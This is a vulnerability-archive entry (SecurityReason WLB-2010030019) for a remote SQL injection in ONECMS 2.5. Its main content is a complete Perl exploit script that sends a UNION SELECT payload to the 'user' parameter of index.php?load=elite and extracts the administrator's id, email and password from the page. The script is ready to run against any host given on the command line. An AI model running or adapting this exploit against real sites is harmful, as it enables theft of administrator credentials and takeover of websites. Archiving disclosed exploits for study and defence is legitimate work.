SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

ONECMS 2.5 remote SQL injection


Arrow  WLB : WLB-2010030019  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-03-06
Arrow  Credit          : Ctacok and .:[melkiy]:.
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-03-06] Started

Arrow  Affected software :  ONECMS version 2.5



Arrow  Text :  


# Exploit Title: ONECMS v2.5 SQL INJECTION
# Date: 05.03.2010
# Author: Ctacok and .:[melkiy]:.
# Software Link: http://sourceforge.net/projects/onecms/
# Version: 2.5
# Tested on: Ubuntu 9.10 Apache2+PHP5

#!/usr/bin/perl
use LWP::Simple;
print "n";
print
"##############################################################n"
;
print "# ONECMS v2.5 SQL INJECTION
#n";
print "# Bug founded by: .:[melkiy]:.
#n";
print "# Exploit coded by: Ctacok
#n";
print "# Special for Antichat (forum.antichat.ru)
#n";
print "# Require : Magic_quotes = Off
#n";
print
"##############################################################n"
;
if (@ARGV < 2)
{
print "n Usage: exploit.pl [host] [path] ";
print "n EX : exploit.pl www.localhost.com /path/ prefix nn";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2]; # PREFIX TABLES, Default: onecms
$vuln =
"-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id,0x3a,username,0x3
a,password,0x3a3a3a),10,11+from+".$prefix."_users";
$doc =
get($host.$path."index.php?load=elite&user=".$vuln."+--+
");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "n[+] Admin id: : $1";
print "n[+] Admin email: $2";
print "n[+] Admin password: $3";
}



Audyt bezpieczeństwa

Security Audit

Analiza powłamaniowa

Arrow  References :  

None

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.